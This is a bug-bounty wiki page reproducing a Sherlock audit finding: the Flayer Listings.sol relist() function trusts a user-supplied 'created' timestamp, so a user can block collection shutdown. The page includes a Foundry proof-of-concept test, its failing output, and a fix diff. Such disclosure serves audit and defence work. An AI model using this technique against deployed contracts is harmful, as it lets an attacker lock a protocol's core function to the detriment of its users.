Skip to content
Business logic Audit finding Intermediate

In the `Listings.sol#relist()` function, `listing.created` is not set to `block.timestamp`

The relist function in Listings.sol does not set the listing's creation timestamp to the current block time, instead trusting a user-supplied value. A malicious user can set this timestamp to a very large number, causing the collection shutdown check to always see an active listing and preventing the shutdown from executing.

0xAlix2 Follow with Audinarey, Ollam and 11 others

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2024-08-flayer-judging/issues/164

Found by

0xAlix2, Audinarey, Ollam, ZeroTrust, araj, blockchain555, cawfree, cnsdkc007, dany.armstrong90, h2134, jecikpo, ydlee, zraxx, zzykxx

Summary

The core functionality of the protocol can be blocked by malicious users by not setting listing.created to block.timestamp in the Listings.sol#relist() function.

Root Cause

In the Listings.sol#relist() function, listing.created is not set to block.timestamp and it is determined based on the input parameter.

Internal pre-conditions

No response

External pre-conditions

  • When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.

Attack Path

  • In Listings.sol#L665, a malicious user sets listing.created to type(uint).max instead of block.timestamp in the Listings.sol#relist() function.
  • Next, When a collection is illiquid and we have a disperate number of tokens spread across multiple users, a pool has to become unusable.
  • In CollectionShutdown.sol#L241, _hasListings(_collection) is always true, so the CollectionShutdown.sol#execute() function is always reverted.

Impact

The CollectionShutdown function that is core function of the protocol is damaged.

PoC

Solidity
function test_CanRelistFloorItemAsLiquidListing(address _lister, address payable _relister, uint _tokenId, uint16 _floorMultiple) public {
        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Ensure that we don't set a zero address for our lister and filler, and that they
        // aren't the same address
        _assumeValidAddress(_lister);
        _assumeValidAddress(_relister);
        vm.assume(_lister != _relister);

        // Ensure that our listing multiplier is above 1.00
        _assumeRealisticFloorMultiple(_floorMultiple);

        // Provide a token into the core Locker to create a Floor item
        erc721a.mint(_lister, _tokenId);

        vm.startPrank(_lister);
        erc721a.approve(address(locker), _tokenId);

        uint[] memory tokenIds = new uint[](1);
        tokenIds[0] = _tokenId;

        // Rather than creating a listing, we will deposit it as a floor token
        locker.deposit(address(erc721a), tokenIds);
        vm.stopPrank();

        // Confirm that our listing user has received the underlying ERC20. From the deposit this will be
        // a straight 1:1 swap.
        ICollectionToken token = locker.collectionToken(address(erc721a));
        assertEq(token.balanceOf(_lister), 1 ether);

        vm.startPrank(_relister);

        // Provide our filler with sufficient, approved ERC20 tokens to make the relist
        uint startBalance = 0.5 ether;
        deal(address(token), _relister, startBalance);
        token.approve(address(listings), startBalance);

        // Relist our floor item into one of various collections
        listings.relist({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(_tokenId),
                listing: IListings.Listing({
                    owner: _relister,
-->                 created: uint40(type(uint32).max),
                    duration: listings.MIN_LIQUID_DURATION(),
                    floorMultiple: _floorMultiple
                })
            }),
            _payTaxWithEscrow: false
        });

        vm.stopPrank();

        // Confirm that the listing has been created with the expected details
        IListings.Listing memory _listing = listings.listings(address(erc721a), _tokenId);

        assertEq(_listing.created, block.timestamp);
    }

Result:

Solidity
Ran 1 test suite in 17.20ms (15.77ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/Listings.t.sol:ListingsTest
[FAIL. Reason: assertion failed: 4294967295 != 3601; counterexample: calldata=0x102a3f2c0000000000000000000000007b71078b91e0cdf997ea0019ceaaec1e461a64ca0000000000000000000000000a255597a7458c26b0d008204a1336eb2fd6aa090000000000000000000000000000000000000000000000000005c3b7d197caff000000000000000000000000000000000000000000000000000000000000006d args=[0x7b71078b91E0CdF997EA0019cEaAeC1E461A64cA, 0x0A255597a7458C26B0D008204A1336EB2fD6AA09, 1622569146370815 [1.622e15], 109]] test_CanRelistFloorItemAsLiquidListing(address,address,uint256,uint16) (runs: 0, μ: 0, ~: 0)

Encountered a total of 1 failing tests, 0 tests succeeded

Mitigation

Add the follow lines to the Listings.sol#relist() function:

Solidity
function relist(CreateListing calldata _listing, bool _payTaxWithEscrow) public nonReentrant lockerNotPaused {
        // Load our tokenId
        address _collection = _listing.collection;
        uint _tokenId = _listing.tokenIds[0];

        // Read the existing listing in a single read
        Listing memory oldListing = _listings[_collection][_tokenId];

        // Ensure the caller is not the owner of the listing
        if (oldListing.owner == msg.sender) revert CallerIsAlreadyOwner();

        // Load our new Listing into memory
        Listing memory listing = _listing.listing;

        // Ensure that the existing listing is available
        (bool isAvailable, uint listingPrice) = getListingPrice(_collection, _tokenId);
        if (!isAvailable) revert ListingNotAvailable();

        // We can process a tax refund for the existing listing
        (uint _fees,) = _resolveListingTax(oldListing, _collection, true);
        if (_fees != 0) {
            emit ListingFeeCaptured(_collection, _tokenId, _fees);
        }

        // Find the underlying {CollectionToken} attached to our collection
        ICollectionToken collectionToken = locker.collectionToken(_collection);

        // If the floor multiple of the original listings is different, then this needs
        // to be paid to the original owner of the listing.
        uint listingFloorPrice = 1 ether * 10 ** collectionToken.denomination();
        if (listingPrice > listingFloorPrice) {
            unchecked {
                collectionToken.transferFrom(msg.sender, oldListing.owner, listingPrice - listingFloorPrice);
            }
        }

        // Validate our new listing
        _validateCreateListing(_listing);

        // Store our listing into our Listing mappings
        _listings[_collection][_tokenId] = listing;

+++     _listings[_collection][_tokenId].created = uint40(block.timestamp);        

        // Pay our required taxes
        payTaxWithEscrow(address(collectionToken), getListingTaxRequired(listing, _collection), _payTaxWithEscrow);

        // Emit events
        emit ListingRelisted(_collection, _tokenId, listing);
    }

The original report as published on Sherlock, by 0xAlix2. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The collection shutdown functionality, a core protocol feature, can be blocked, preventing the shutdown from executing.

What the attacker needed

A listing exists for the token; attacker has collection tokens to pay tax

The fix

The relist function should set the listing's created timestamp to block.timestamp after storing the listing.

How it was found

  1. A malicious user calls the relist function with a listing where the created field is set to a very large value (type(uint).max).
  2. The relist function stores this listing without updating the created timestamp to the current block time.
  3. Later, when a collection shutdown is attempted, the check for existing listings sees the manipulated listing as still active.
  4. The shutdown execution reverts because the listing appears to be active, blocking the shutdown.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you relist an item, the contract should record the current time as the listing's creation time. Instead, it lets the user provide that time. A user can set it to a huge number, so the system always thinks the listing is active and never allows the collection to be shut down.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by 0xAlix2

View all

39 more disclosed reports, best first.

More from Flayer

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.